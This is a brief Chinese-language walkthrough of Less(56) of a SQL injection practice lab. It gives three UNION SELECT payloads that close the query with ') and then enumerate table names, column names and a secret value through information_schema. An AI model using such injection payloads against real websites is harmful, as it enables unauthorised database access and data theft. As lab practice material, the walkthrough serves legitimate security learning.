Less(56)
1.和Less(54)差不多, ')闭合
2.爆破
(1)爆表:?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
(2)爆列名:?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='i9347c02x8'--+
(3)爆值:?id=0') union select 1,2,group_concat(secret_LDNV) from challenges.i9347c02x8--+